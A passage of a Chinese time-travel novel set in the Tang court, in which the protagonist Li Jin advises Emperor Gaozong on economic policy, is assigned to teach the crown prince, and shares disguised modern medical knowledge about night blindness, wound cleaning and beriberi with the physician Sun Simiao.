此事看似平息,但李瑾知道,自己在皇帝、皇后乃至部分太医心中,已留下了“博闻强识、心思机巧、或许真有些偏门本事”的印象。这印象好坏参半,但无疑是块有用的敲门砖。而王皇后那里,自己这份“功劳”虽然被隐去,但情分是记下了。
只是,经此一事,他也更加清醒地认识到宫廷的波谲云诡。今日是太医署,明日可能是其他利益集团。必须尽快积累更多的资本,建立更稳固的根基。
他走回书房,目光落在桌案上一只晶莹剔透的“明玻”小瓶上,里面盛放着新近试制成功的、更加纯净的“蔷薇清露”。香水、玻璃、乃至未来可能出现的更多“奇技”……这些都是他的筹码。但如何安全地打出这些牌,还需仔细谋划。
“公子,” 李福的声音在门外响起,“王掌柜那边派人递话,说您要的‘那批货’,已有眉目了,请您得空过目。”
李瑾收回思绪,眼中闪过一丝锐芒。“那批货”,指的是他让王掌柜暗中搜罗的几种可能用于提纯酒精、改进玻璃配方的特殊矿物和药材,以及……一些关于西域、天竺乃至更遥远国度的地理、物产杂记。知识的储备,技术的革新,人脉的编织,都需要时间,需要耐心。
他打开武曌的密信,又看了一遍最后那句“妾偶闻先帝在时,亦有类似症候,曾服食丹药,初时见效,后反受其害。” 心中凛然。她在提醒自己,皇帝可能服食丹药,而丹药的危害……这是个重要的信息,或许将来能用上。
提笔,他给武曌回信,除了告知太医署风波已过,让她安心,最后加了一句:“物之成毁,有时有势。吾等所谋,当时时察势,待机而动。寺中清静,正好淬炼心性,打磨‘器用’。” 器用,既指她的书法、学识,也指心性、手段。
放下笔,李瑾望向窗外渐沉的暮色。霓裳羽衣的意外,如同一道闪电,短暂地照亮了他前进的道路,也让他看清了路旁的悬崖。接下来的每一步,需更稳,更慎。
瑾言可破一时危局,然欲在这深宫宦海中立足,需要的不仅是急智与“奇技”,更是对时势的精准把握,对人心的深刻洞察,以及……足以支撑野心的实力积累。路,还长。
第26章 天子第一问
时入八月,秋意初染长安。自太液池宴至今已有月余,宫中似乎恢复了往日的平静。李治的头风之疾在太医署精心调治与王皇后引入的“新法”共同作用下,已大为缓解,能够正常处理朝政。李瑾的日子也仿佛重归平淡,读书、制香、偶尔与杜铭等人诗酒唱和,间或通过周尚宫向王皇后呈递些“海外奇谈摘要”或“雅致小物”,维系着那条若有若无的宫廷连线。
然而,表面平静下,暗涌从未停歇。太医署经刘神威那次拜访后,对李瑾的态度似乎缓和,但据杜铭从其他渠道听来的零星消息,署令王太医等人私下仍对“新法”颇有微词,只是碍于皇帝认可与皇后推行,不便明言。而萧淑妃那边,对王皇后“献方固宠”的举动显然不满,其宫中女眷与外戚在几次宫宴上,对王皇后一系的命妇态度都颇为冷淡。这些微妙的信号,通过周尚宫、杜铭乃至感业寺中武曌传来的零星信息,拼凑出后宫并不安宁的图景。
李瑾深知,自己这个“献策者”虽隐于幕后,但必然已落入某些人眼中。他愈发谨慎,深居简出,连“明玻”作坊都去得少了,只通过王掌柜和李福遥控。他知道,自己需要时间,需要等待下一个合适的契机,安全地将自己“推销”到皇帝面前,又不能显得过于急功近利。
契机,以一种意想不到的方式到来。
八月中,秋高气爽。这一日,李瑾正在宅中书房整理近来收集的关于西域诸国物产与地理的笔记——这些是他为未来可能的“献策”做的知识储备,也是他与武曌密信中偶尔提及、拓宽其眼界的素材。忽然,门房李福几乎是踉跄着冲了进来,脸色煞白,声音发颤:“阿、阿郎!宫、宫里来人了!是、是陛下身边的近侍!带着仪仗!要、要宣您即刻入宫觐见!”
李瑾手中毛笔一顿,一滴浓墨落在雪白的宣纸上,迅速氤氲开。皇帝直接宣召?不是通过皇后宫中,而是天子近侍亲自前来?他心中念头飞转,是福是祸?是因之前献方之事?还是又出了什么变故?
“莫慌,更衣。” 李瑾放下笔,声音沉稳。他迅速换上一身符合觐见礼仪的崭新深青色圆领襕袍,束发正冠。临出门前,他瞥了一眼书案上摊开的西域笔记,心念微动,对李福低声道:“若我入宫迟迟未归,或有意外,你便去寻杜铭公子,将我之前封存在西厢第三个樟木箱底层的那个油布包交给他,他自知如何处理。” 那是他准备的一些关于“明玻”工艺核心要点的副本和与王掌柜的部分契约备份,算是以防万一的后手。
“老奴……老奴明白!” 李福眼眶发红,连连点头。
来到前院,只见一名面白无须、神色严肃的中年宦官带着四名侍卫、两名小黄门已等候在那里。见李瑾出来,宦官上下打量他一眼,尖着嗓子道:“可是宗室子弟李瑾?”
“正是在下。” 李瑾躬身行礼。
“陛下口谕,宣李瑾即刻入宫,于两仪殿偏殿觐见。随咱家走吧。” 宦官言简意赅,转身便走。
李瑾心中一凛,两仪殿是皇帝日常处理政务、召见臣工之所,在紫宸殿之西,比皇后宫苑更加靠近前朝,也更具政治意味。皇帝在此召见,绝非寻常闲谈。
马车疾驰,穿过重重宫门。这一次,他没有被引向嫔妃居住的内宫区域,而是沿着皇城中轴线西行,气氛愈发肃穆庄严。守卫森严,甲士林立,空气中弥漫着帝国权力中枢特有的凝重与威压。
两仪殿偏殿,规模不及正殿宏伟,但陈设更为精致舒适,似是皇帝处理政务间隙小憩或召见亲近臣子之处。殿内焚着清淡的龙涎香,书案上堆积着奏章,墙角的多宝阁上除了书籍,还摆着几件精巧的器物,其中一件,正是李瑾所献、盛放“龙脑苏合香”的那只晶莹剔透的小玻璃瓶,在透过窗棂的秋阳下泛着温润的光泽。
李治正斜倚在紫檀木嵌玉的坐榻上,身着常服,手中拿着一卷书,但目光并未落在书上,而是带着几分审视与探究,望向殿门方向。他气色比月前好了许多,眉宇间仍有一丝挥之不去的倦色,但眼神清亮,自有一股天子的威仪。王皇后并不在侧,殿内只有两名垂手侍立的内侍。
“臣李瑾,叩见陛下,陛下万岁。” 李瑾趋步上前,依礼跪拜。这一次,他真切地感受到了所谓“天威咫尺”。
“平身,赐座。” 李治的声音响起,依旧温和,但少了几分宴席上的随意,多了几分君主特有的疏离感。
“谢陛下。” 李瑾起身,在內侍搬来的绣墩上侧身坐下,腰背挺直,眼观鼻,鼻观心。
短暂的沉默。李治放下书卷,目光落在李瑾身上,仿佛在重新打量。李瑾能感觉到那目光中的重量,平静下隐藏着锐利。
“李瑾,” 李治缓缓开口,叫的是全名,而非“李卿”或“李公子”,透着正式,“前次太液池宴,你临危护驾,机敏可嘉。朕已赏过。皇后近日所呈调养之法,朕用之颇觉安适,闻其中亦有你参详之功?”
来了!果然与此有关!李瑾心念急转,皇帝已知晓自己参与?是皇后坦承,还是他自己猜出?他不敢怠慢,恭声答道:“回陛下,臣惶恐。臣对医道实是门外汉,不过因皇后殿下垂询,将昔年偶见天竺残卷所载养生琐记,与臣读《千金要方》所悟孙真人‘治未病’、‘重调护’之理,胡乱揣测,禀报皇后殿下。殿下慈心,加以拣择施行,此乃殿下仁德,臣不敢言功。” 他再次强调自己只是“知识搬运工”,将功劳归於皇后和孙思邈,撇清自己。
“哦?天竺残卷?孙真人《千金要方》?” 李治似乎来了兴趣,“你倒是个喜欢读书的。除了医书,还读些什么?”
“臣愚钝,读书杂驳,并无专精。经史子集,略有涉猎;诗词歌赋,偶一为之;海外杂记、方技图谱,亦因好奇,时有翻阅。实是兴趣驳杂,难成大器。” 李瑾回答得极为谦逊,但也点明自己“杂学”的特点。
“兴趣驳杂……未必是坏事。” 李治不置可否,话锋却是一转,“朕近日读《史记·货殖列传》,太史公言‘天下熙熙,皆为利来;天下攘攘,皆为利往’。然我大唐自贞观以来,轻徭薄赋,与民休息,府库渐丰,然山东、河南诸道,去岁仍有饥荒奏报。长安、洛阳两市,商贾云集,货殖繁盛,而江南漕运,损耗颇巨。朕尝思,这‘利’字,当如何取之有道,聚之有方,用之有度,方能国富民安,而非徒然扰民?”
李瑾心中剧震!这不是闲谈,更非考较诗文,这是实实在在的治国之问!涉及经济、财政、物流!皇帝为何要问自己这个?是随意兴起,还是别有深意?是试探,还是真的想听听一个“杂学”之士的不同见解?
他瞬间感到压力如山。这个问题太大,太敏感。回答得好,可能一飞冲天;回答不好,或触犯忌讳,便是万劫不复。他必须慎之又慎,既不能空谈,也不能过于具体触及现有利益格局,还要在唐代认知框架内,融入一些超越时代的、切实可行的理念。
他深吸一口气,强迫自己冷静,大脑以前所未有的速度运转。沉吟片刻,方谨慎开口:“陛下此问,直指治国根本,臣学识浅陋,本不敢妄言。然陛下垂询,臣斗胆以蠡测海,略陈陋见。”
“但说无妨,今日殿中言语,出你之口,入朕之耳。” 李治语气平淡,却给了某种保证。
“谢陛下。” 李瑾整理思绪,缓缓道,“臣窃以为,太史公所言‘利’,乃人性之常,不可强行遏制,而当善加疏导,如同大禹治水。治国之‘利’,首在生利,次在聚利,终在均利。”
“哦?何为生利?” 李治身体微微前倾。
“生利者,使民得利,使地尽其用也。” 李瑾道,“农乃国之本,然农事靠天,丰歉难料。除兴修水利、推广良种、改进农具外,或可鼓励农户于农闲时,从事桑麻、果蔬、畜牧、乃至简单手工,以其产物易钱,补粮食之不足,增农户之收益。此谓‘以副补主,以末养本’。譬如江南水乡,可广植桑麻,发展织造;山泽之地,可养殖渔猎,种植药材。朝廷可遣熟知农事、工巧之官吏,至各地‘劝课农桑’,因地制宜,推广获利之术,此亦为‘生利’。”
李治若有所思,微微颔首:“此言有理。贞观年间,朝廷便常遣使劝农。然各地情势不同,成效不一。你接着说,何为聚利?”
“聚利者,非强征暴敛,而在通有无、便交易、省耗损。” 李瑾道,“长安、洛阳之盛,在于四方货物汇聚。然货物转运,损耗惊人,尤以漕运为甚。臣闻前代有‘和雇’之法,朝廷出资雇佣民船、民夫运输官物,较之纯以徭役,效率更高,怨言更少,或可参详改进。再者,市舶之利,不可轻忽。海外奇珍,固可充内府,然若能规范市舶司,抽取合理关税,既可增国库收入,又能管控异物输入,不致金银外流过度。至于国内商税,当简明公允,禁绝胥吏层层加码、盘剥商旅,使货物其流,则税源自广。”
“嗯,市舶、商税……确有可议之处。” 李治手指轻叩榻沿,“那‘均利’又是何解?莫非是均贫富?”
“非也。” 李瑾摇头,“臣所谓‘均利’,非指均分财富,而是指朝廷所聚之利,当用之有道,还利于民,以保长治久安。其一,用于备荒赈灾,如设立常平仓,丰年平价购入储粮,灾年平价放出,平抑粮价,使民不因饥馑破产流离。其二,用于兴修水利、道路、驿站,此等工程,非但利国,雇佣民夫,亦可使其得钱粮以度日,是‘以工代赈’、‘以财生事’。其三,用于养兵抚边,保境安民,使商旅无虞,边民得安。其四,用于奖励耕织、发明创造,凡有能提高农亩之产、改进工器之巧者,予以嘉奖,可激励百姓用心生产。如此,朝廷所取之利,复用于民,民得实惠,则乐输国课,不以为苦。此乃‘取之于民,用之于民’,则上下相安,利源绵长。”
李瑾将现代一些经济学、财政学的基本理念,如促进商品经济、改进物流、规范税收、政府投资基础设施建设、社会保障、创新激励等,用完全符合唐代语境的语言包装阐述出来,既显得颇有见地,又不至于太过惊世骇俗。
李治听得极为专注,眼中异彩连连。这番论述,条理清晰,格局开阔,既有儒家仁政爱民的根本,又透着实干与巧思,远超寻常士子空谈仁义道德或堆砌典故。尤其是“以副补主”、“以工代赈”、“取之于民用之于民”等提法,颇为新颖且切中时弊。
“生利、聚利、均利……” 李治低声重复,品味着这三个词,“你这些想法,从何而来?亦是天竺残卷所载?”
“陛下明鉴,此非一书所得。” 李瑾忙道,“乃是臣读史书,见历代治乱兴衰,多与民生、财用相关;读《管子》、《盐铁论》,知轻重之术;又杂览前朝奏疏、地方志,见各地物产风情;再结合近日听闻的长安市井百态、漕运艰难,胡思乱想,拼凑而成。荒诞不经之处,恳请陛下恕罪。” 他将来源归于广泛的阅读和观察,显得更为可信。
“胡思乱想?朕看未必全是胡思乱想。” 李治脸上露出一丝极淡的笑意,似乎对李瑾的谦逊颇为受用,“你年纪轻轻,能由此见识,已属难得。不过,纸上谈兵易,付诸实行难。你可知,若依你‘均利’之说,广兴工程,国库是否能支?若改革漕运、市舶,触动现有利益,又当如何平衡?”
“陛下圣虑周详。” 李瑾心中一凛,知道皇帝看到了问题的另一面——改革阻力,“臣所言,乃理想之态。施行必当循序渐进,因地制宜,更要陛下乾纲独断,善用贤能,方有可为。譬如漕运,可先择一二紧要路段,试行‘和雇’改良,观其成效,再作推广。至于触动利益……陛下,利之所在,人必趋之。关键在于是利于国,还是利于私。若利于国而暂损于私,则需以朝廷法度、长远之利晓谕之,分步推行,或可消弭阻力。且陛下可曾想过,若能扩大利源,譬如市舶之利大增,则朝廷可供调配之资财愈丰,或可补偿部分受损者,减少推行阻碍?”
“扩大利源……补偿……” 李治喃喃道,眼中闪过思索的光芒。他看了一眼多宝阁上那晶莹的玻璃瓶,忽然问道:“你进献的这‘龙脑苏合香’,盛放之瓶晶莹剔透,似玉非玉,似水晶非水晶,闻说是你‘偶得’?此物可能如瓷器、丝绸般,为我大唐‘生利’?”
问题骤然转到具体之物上!李瑾心中警铃大作。皇帝注意到玻璃了!而且是直接问能否“生利”!这是对玻璃工艺产生了兴趣,还是更深的试探?他强行镇定,答道:“回陛下,此物臣称之为‘明玻’,确是试验古方时偶然所得。其质晶莹,密封避光,胜于陶瓷,轻于玉石。然炼制极难,火候、配料稍有差池,便成废品,且产量极低。若要如瓷器般量产行销,恐非易事。不过……” 他顿了顿,似在斟酌。
“不过什么?” 李治追问。
“不过,此物若能制成,确有其独特用处。除了盛放香水、药品,保持香气药性,亦可制成放大镜,助目力不佳者阅览细字;或制成凹凸透镜,组合以观远物、窥微渺,于军中瞭望、工匠雕琢,或有益处。只是此等应用,尚在设想,需能工巧匠反复试验。” 他抛出了放大镜、望远镜(观远)、显微镜(窥微)的概念,但说得极其模糊,只点出可能用途,将实现推给“能工巧匠”,既展示了前瞻性,又不显得自己过于“神通广大”。
“放大镜?观远?窥微?” 李治眼中兴趣更浓,这已超出纯粹享乐之物的范畴,涉及实用甚至军事了。“你之巧思,果然层出不穷。此事……朕记下了。”
李治不再继续追问玻璃,身体向后靠了靠,似乎有些疲惫,但看着李瑾的目光,已与初时大不相同,少了几分审视,多了几分欣赏与探究。“今日召你前来,本是想看看,能制出清雅香露、献上调理之法,又能在宴上临危救场的宗室子,究竟是何等人物。如今看来,你倒是个有实学的,非徒以诗文、奇巧炫人。”
“陛下谬赞,臣愧不敢当。” 李瑾连忙躬身。
“你之才,闲置可惜。” 李治沉吟片刻,道,“然你尚无出身,骤升高位,反为不美。这样吧,朕给你个差事。朕之皇太子忠,年岁渐长,正在进学。东宫属官虽备,然多是经学之士。太子亦需知晓些经世济用之道、天下山川风物。朕闻你读书颇杂,尤晓海外地理物产,可愿每月抽三两日,去东宫崇文馆,为太子讲讲这些杂学趣闻,开阔其眼界?不必拘于经义,但求生动有益即可。”
东宫!为太子讲学!李瑾心脏狂跳。这看似是个闲差,无品无级,实则意义重大!这是皇帝给予的接近权力核心培养人的机会,是莫大的信任与期许!更是将自己与国本联系起来的纽带!风险与机遇,皆在此中!
“臣才疏学浅,恐难当太子师之任……” 李瑾本能地想要谦辞。
“非是太子师,只是讲讲杂学趣闻,不必有压力。” 李治打断他,语气却不容置疑,“此事,朕会知会太子左庶子。你自去准备便是。退下吧。”
“臣……领旨,谢陛下隆恩!” 李瑾知道无法再推,恭敬叩拜,心中却是波澜起伏。
“嗯。今日之言,出得朕口,入得你耳,勿要外传。朕赏你些笔墨书籍,你好生研读,以备太子垂询。” 李治摆了摆手,示意他可以退下了。
内侍引着李瑾退出偏殿,另一名内侍已捧着赏赐的绢帛、上等笔墨纸砚及一匣书籍等候在外。
走出两仪殿范围,秋日的阳光照在身上,李瑾却觉得后背已被冷汗浸湿。刚才那番对话,看似平静,实则步步惊心,如履薄冰。天子的第一问,直接将他拖入了治国理政的深水区,而他凭借着超越时代的见识和谨慎的言辞,算是给出了一个让皇帝满意的答案。
为太子讲学……这意味着,他已不再仅仅是王皇后或杜家棋盘上的一颗棋子,而是真正进入了皇帝,乃至未来继承人的视野。东宫,那是真正的权力漩涡中心。太子李忠,虽是嫡长子,但生母早逝,养于王皇后膝下,地位看似稳固,实则暗藏危机。自己这个“杂学讲师”,恐怕很快就会被卷入更复杂的局势中。
他想起离宫前,内侍低声提点:“陛下赏赐中,有《贞观政要》一部,公子可细细研读。” 这是暗示,皇帝希望他讲授的内容,要像《贞观政要》那样,于趣味中蕴含治道。
回到崇仁坊宅中,李福见李瑾安然归来,还带着宫中赏赐,喜极而泣。李瑾却无多少喜色,将自己关入书房。
他打开皇帝赏赐的书匣,除了《贞观政要》,还有《汉书·食货志》、《管子》、《盐铁论》等与经济、政治相关的典籍,甚至有一卷不太详细的《大唐西域图记》。皇帝的用意,不言自明。
摊开纸笔,李瑾开始构思给太子讲学的内容大纲。不能太深,要有趣;不能空谈,要结合实际;不能偏离正道,又要潜移默化地传递一些现代理念。这比回答皇帝的问题更难。
同时,他也必须立刻通知武曌。太子讲学,意味着他与东宫绑定,这必然会影响他们在感业寺的计划,甚至可能成为新的助力或变数。还有王皇后那边,皇帝直接越过她给了自己差事,她会不会有想法?萧淑妃那边,听闻此消息,又会作何反应?
李瑾提笔,给武曌写密信,简述今日觐见结果,并写道:“事有突变,奉旨赴东宫,为太子讲杂学。此或为新途,然亦入旋涡。寺中诸事,万望谨慎,静观其变。郭家事,或可借力东宫名目,相机而行。”
他必须重新审视自己的位置和策略。天子的第一问,为他打开了一扇门,但门后是通天之路,还是修罗场,犹未可知。
夜色渐深,李瑾独立窗前,望向皇宫方向。两仪殿的灯火,想必依旧明亮。那里发出的一个念头,一次垂询,便足以改变无数人的命运,包括他这个来自千年后的孤魂。
“太子讲学……” 他低声自语,眼中光芒闪烁,是警惕,是思索,也有一丝跃跃欲试的火焰。既然已踏入这棋局中央,那便好好下完这盘棋。下一步,该落在东宫了。
第27章 太医署风波
东宫讲学的任命尚未正式下达,需要经过中书门下拟诏、用印等一系列流程,估摸还需旬日。李瑾利用这段空档,一面精心准备讲学内容的大纲,一面继续与王掌柜推进“明玻”作坊的事宜,同时通过加密信道,与感业寺中的武曌保持着紧密联系。武曌在得知李瑾即将赴东宫讲学后,回信极为简短,却意味深长:“东宫之机,千载难逢,务必慎之又慎。太子年幼,其师甚众,然其母早逝,养于中宫。此中关窍,不可不察。妾闻太医署近日似有不宁,或与君前番献策有关,当留意。” 她再次提醒了太子背后复杂的政治关系(王皇后养子),并提到了太医署的动态。
太医署不宁?李瑾记在心上,但眼下他首要任务是确保自己平稳进入东宫体系,太医署的矛盾,只要不直接烧到自己身上,暂时不宜过多介入。
然而,树欲静而风不止。
这日午后,李瑾正在书房对照着一幅简陋的《大唐西域图记》,勾勒着想象中的丝绸之路与更远方的海路,试图为太子准备一些生动的地理与贸易故事。门房李福匆匆来报,脸色古怪:“阿郎,太医署的刘神威刘医士又来了,还带着一个人,看着……看着气度不凡,像是位大官,但穿着常服。”
刘神威?还带了人?李瑾心中一凛。距离上次刘神威单独来访,澄清“调养之法”的误会,已过去一个多月。此次复来,所为何事?还带了旁人?
“快请至前厅奉茶,我马上就来。” 李瑾不敢怠慢,迅速更衣。
来到前厅,只见刘神威正陪坐在下首,而上首主位上,坐着一位年约五旬、面容清癯、目光湛然、留着三缕长髯的老者。老者穿着普通的青色道袍,但浆洗得极为干净,身形瘦削,却自有一股渊渟岳峙的气度,仿佛山间古松,沉静而蕴藏生机。刘神威对这位老者态度极为恭敬,甚至带着几分弟子般的虔诚。
“李公子,冒昧打扰。” 刘神威见李瑾进来,起身拱手,然后侧身介绍道,“这位是在下的恩师,孙真人。”
孙真人?!李瑾脑中轰然一响,几乎不敢相信自己的耳朵。孙真人?药王孙思邈?!这位传说中活了一百多岁、著就《千金要方》、《千金翼方》、被后世尊为“药王”的医学巨擘,竟然亲自来到了自己这陋室?!
他强压心中震撼,连忙整肃衣冠,以大礼拜见:“晚辈李瑾,拜见孙真人!不知真人仙驾光临,有失远迎,万望恕罪!” 这绝非客套,对这位济世活人、德高望重的医学圣手,他是由衷敬佩。
孙思邈微微一笑,虚扶一下,声音平和舒缓,如同山涧清泉:“李小友不必多礼,是老朽不请自来,叨扰了。神威归去后,常提及小友,言小友博闻强识,于养生调护、乃至海外医理,皆有涉猎,见解新颖。老朽好奇,故来一见。”
“真人折煞晚辈了。” 李瑾连忙请孙思邈上座,自己侍立一旁,“晚辈对医道实是门外汉,不过拾人牙慧,偶发妄言,当不得真。神威兄谬赞,愧不敢当。”
孙思邈目光温和地打量着李瑾,仿佛能看透人心:“小友过谦了。能从天竺残卷中悟出那等调护头风之法,已见慧心。更难得是,小友能将其与我华夏医理‘治未病’之说相印证,而非盲目崇外,此等见识,殊为难得。” 他顿了顿,缓缓道,“老朽此来,非为考较,实有一惑,或与小友所言‘杂学’有关,想请教一二。”
“真人但问无妨,晚辈知无不言,只是学识浅陋,恐有负真人所望。” 李瑾心中忐忑,不知道这位医学泰斗会问出什么问题。
孙思邈从袖中取出一方素绢,上面用工笔细细描绘了几种植物形态,旁边还有简要的文字描述,似是在记录症状。“小友请看,此乃老朽近日在终南山中,见数位山民所患之症。其人多在黄昏后、或光线昏暗处,视物模糊,乃至不能见物,如同盲人,然白昼日光下,又与常人无异。问其饮食,多贫苦,以黍米、野菜为主,少食荤腥。老朽观其目,外观无异常,亦无疼痛。此症,乡野称为‘雀目’(夜盲症),然用寻常滋补肝肾、明目退翳之剂,效果甚微。小友博览群书,可知海外或前代,可有类似记载?有无良方?”
李瑾看向那素绢上的植物图样和描述,心中顿时了然。夜盲症!这分明是维生素A缺乏的典型症状!在这个时代,尤其是饮食结构单一、缺乏动物性食物和深色蔬菜的贫困人群中,并不罕见。治疗的关键在于补充维生素A,而动物肝脏、鱼肝油、胡萝卜、菠菜等富含维生素A或β-胡萝卜素的食物正是良药。唐代已有“肝主目”的理论,食用动物肝脏明目也偶有记载,但未必系统,且对病因认识不足。
如何解释?不能直接说“维生素A”,必须用古人能理解的理论包装。他沉吟片刻,道:“真人,此症晚辈确在杂书中见过类似记载。海外有书记载,远航水手常年漂泊海上,饮食单调,缺乏鲜菜鲜果,亦多患此症,称之为‘海盲’。其地医者发现,常食鱼肝、或某种海兽之肝,可防可治。又有记载,西域胡商中,亦有患此症者,其地医者嘱其多食羊肝、牛肝,亦可见效。”
“鱼肝?羊肝?” 孙思邈眼中精光一闪,若有所思,“肝,五行属木,肝开窍于目。以肝补肝,以形补形,此乃常理。然寻常雀目,滋补肝肾之剂亦含此意,何以效微?而独重肝物?”
“晚辈妄加揣测,” 李瑾谨慎道,“或许,此症非独肝肾阴虚,而在于某种……滋养目力、需从特定食物中获取的‘精微之物’匮乏。寻常草药,或可调补肝肾气血,然此‘精微之物’却蕴藏于肝、鱼肝、乃至某些颜色鲜黄或深绿的菜蔬之中。胡商记载中,亦提及多食苋菜、枸杞叶等,有助益。或许,此‘精微之物’于昏暗光线下,对视物尤为关键。若饮食中长期缺乏,则发为此症。补充肝物菜蔬,便是补此‘精微’。”
他将维生素A的功能,包装成一种对视力至关重要的“精微之物”,并指出其存在于特定食物中。这既符合中医“药食同源”、“以形补形”的观念,又点出了夜盲症的营养缺乏本质,且给出了具体的食物解决方案。
孙思邈听得极为专注,手指无意识地捻着长须,眼中闪烁着思索与明悟的光芒。“精微之物……蕴于特定食货……此说,倒是别开生面。与《内经》所言‘五谷为养,五果为助,五畜为益,五菜为充,气味合而服之,以补精益气’之理暗合,却又更具体指向目疾。肝、鱼肝、鲜绿之菜……” 他反复咀嚼着这几个词,忽然抚掌道:“妙!小友此论,豁然开朗!寻常滋补,泛泛而谈,未切中其‘匮乏’之要。若此‘精微之物’果存于肝与深色菜蔬,则针对补充,或可收奇效!神威,你可记下了?回去后,可寻几位‘雀目’病患,分而试之,一组以羊肝、猪肝为常食,一组多食苋菜、芥菜等绿蔬,一组仍用旧方,观其效验。”
“弟子谨记。” 刘神威连忙躬身应下,看向李瑾的目光,也充满了惊奇与敬佩。他没想到,这年轻宗室子,不仅在养生调护上有见解,竟对这等疑难杂症,也能说出如此鞭辟入里的分析,连老师都为之赞叹。
“小友博闻强识,融会贯通,老朽受教了。” 孙思邈对李瑾的态度愈发温和,“不知小友可还有其他类似见闻?于疑难杂症,或海外奇特疗法?”
李瑾心念急转。这是一个难得的机会,在孙思邈这样的医学权威面前适度展示价值,又能真正帮助这个时代的人。但必须极其谨慎,不能泄露太多超越时代的知识,最好是用“海外见闻”或“古书记载”的形式,提出一些符合科学原理、但在当时看来新奇的思路。
“真人面前,晚辈岂敢言教?” 李瑾谦逊道,“不过,确还听说过几桩海外医事,真伪难辨,或可供真人一笑,或可启发思路。”
“小友但讲无妨。” 孙思邈兴致盎然。
“其一,闻海外有大秦之国,其军中医者,处理刀箭创伤,必以沸水煮过之净布擦拭伤口,所用刀具、针线,亦以火烤或酒浸,术后以洁净布条包裹。其愈后化脓溃烂者,远少于寻常处置。其医者言,伤口溃烂,或与肉眼不可见之‘微虫’有关,沸水、火、烈酒可杀之。” 李瑾隐晦地提出了消毒和无菌观念。
孙思邈眉头微蹙,陷入沉思:“微虫?沸水、烈酒……此说虽奇,然细思不无道理。痈疽疮疡,确似有‘毒’‘热’。以洁净、清毒之物处之,或可阻其恶化。此法……倒可于金创、疡科一试。”
“其二,” 李瑾继续道,“闻南海岛国,有疾曰‘脚气病’,患者初时乏力、麻木,继而腿脚浮肿,甚则心悸气喘而亡。其地医者发现,常食糙米、或米糠熬水者,罕患此症;而专食白精米之富贵人,反易得之。故疑此症与米粮加工过精,丢失某种‘精微’有关。” 这是维生素B1缺乏的脚气病,他再次用“精微之物”和饮食关联来解释。
“脚气病……糙米与精米……” 孙思邈目光炯炯,他显然听说过此病,但从未将其与粮食的精细程度联系起来。“此说更为新奇!若果真如此,则治病防病,不仅在于用药,更在于日常饮食取舍!神威,此条亦需留意验证!”
刘神威已听得目瞪口呆,只觉今日所闻,匪夷所思,却又隐隐觉得大有道理,连忙点头记下。
李瑾又简单提了提“隔离防治瘟疫”、“观察病人排泄物、痰液颜色性状以助诊断”等现代医学常识,皆以“海外异闻”口吻说出,点到即止。
孙思邈听完,沉默良久,方才长长舒了一口气,看着李瑾,眼中充满了感慨与赞赏:“听君一席话,胜读十年书。小友所言,虽多闻所未闻,然细究其理,皆暗合天地自然、人体阴阳之道,非凭空杜撰。老朽行医数十载,常感医道无穷,今日方知,山外有山,海外有海。小友虽不自承医者,然此等见识,已胜却无数庸医。老朽厚颜,有一不情之请。”
“真人请讲。” 李瑾忙道。
“老朽近日正着手增补《千金翼方》,欲广收海内外效方、奇法、以及如小友所言这等发人深省之医理推测。不知小友可否允准,将今日所言,及日后若再有所得,录成文字,供老朽参详收录?老朽必注明来源,不敢掠美。” 孙思邈态度极为诚恳。
李瑾心中一震。自己的言论若能借孙思邈的巨著流传,哪怕只是作为“海外异闻”或“一家之言”,也可能对后世医学发展产生一丝微弱的影响!这是莫大的荣幸,也是沉甸甸的责任。
“真人言重了!晚辈些微陋见,若能对真人著书有所裨益,乃是晚辈的福分。真人但有所需,晚辈定当知无不言,只是务请真人仔细甄别,去伪存真,切勿因晚辈妄言而误了真人著述。” 李瑾郑重应下。
孙思邈欣慰点头,又与李瑾探讨了些养生细节,甚至问起了那“龙脑苏合香”的配伍思路。李瑾皆小心应对,既展示见识,又不忘谦逊。
不知不觉,日已西斜。孙思邈起身告辞,临行前,他从袖中取出一个青瓷小瓶,递给李瑾:“此乃老朽依古方所制‘益气安神丸’,用材寻常,然君臣佐使颇有讲究,于劳心耗神、夜寐不安者略有小补。小友心思机敏,然亦需注意劳逸结合,勿要耗神过度。此药赠你,或有用时。”
“多谢真人厚赐!” 李瑾双手接过,心中感动。这位药王,不仅医术高超,更怀仁心。
送走孙思邈师徒,李瑾独坐书房,心潮起伏。他没想到,与太医署的“风波”,竟以这样一种方式展开。不仅化解了可能的敌意,还赢得了药王孙思邈的认可与友谊。这对于他未来的宫廷之路,无疑是一层极佳的保护色和声望加持。孙思邈德高望重,深受皇室礼遇,其门生故旧遍布太医署乃至朝野,与之交好,利远大于弊。
更重要的是,今日一席谈,让他看到了自己超越时代的知识,在这个世界切实帮助他人、甚至可能推动文明细微进步的可能。这种成就感,与权力谋略带来的刺激截然不同,却同样令人充实。
他铺开纸笔,将今日与孙思邈讨论的内容,特别是关于夜盲症、创伤消毒、脚气病的“海外异闻”及自己的“猜测”,仔细整理记录下来,准备日后呈送孙思邈。同时,他也提笔给武曌写信,简述此事,并写道:“孙真人仙驾降临,论医甚洽。太医署之波澜,或可因之稍息。然木秀于林,此后更当潜藏。东宫之事在即,一切小心。”
数日后,刘神威再次来访,此次面带喜色,告知李瑾,依其所述,让几位夜盲症病患试食羊肝、猪肝及大量绿蔬,不过五六日,黄昏后视物能力竟有明显改善!有一重症者,已能在月下勉强辨物。孙思邈闻讯大喜,已命太医署记录在案,并开始小范围推广此法。太医署内,原本对“新法”和李瑾抱有疑虑的部分人,闻此奇效,态度也大为转变。毕竟,疗效是硬道理。
“瑾兄高见,恩师赞叹不已,署中诸位同僚,如今也对瑾兄刮目相看。” 刘神威笑道,“恩师让我转告瑾兄,他日若得‘海外残卷’中其他医药记载,万望不吝分享。另外……” 他压低声音,“恩师让我提醒瑾兄,东宫讲学,固然是机遇,然东宫属官,关系错综,尤其太子身边侍读、侍讲,多出身名门,或有倨傲者。瑾兄以杂学进,恐遭轻视。遇事当忍耐,以实学服人。恩师在太医署,亦会为瑾兄留意相关消息。”
“多谢孙真人挂怀,多谢神威兄提点。” 李瑾真心感激。孙思邈的提醒,正是他担忧之处。太子身边,必然聚集了各方势力,自己这个空降的“杂学讲师”,日子恐怕不会轻松。
送走刘神威,李瑾知道,太医署这场风波,算是因祸得福,彻底平息,甚至为自己赢得了一个强大的潜在盟友。但真正的挑战,即将在东宫开始。
他走到院中,秋夜已凉,繁星满天。想起孙思邈所赠的“益气安神丸”,他取出一粒,就水服下,味道清苦,却带着草药特有的芬芳。
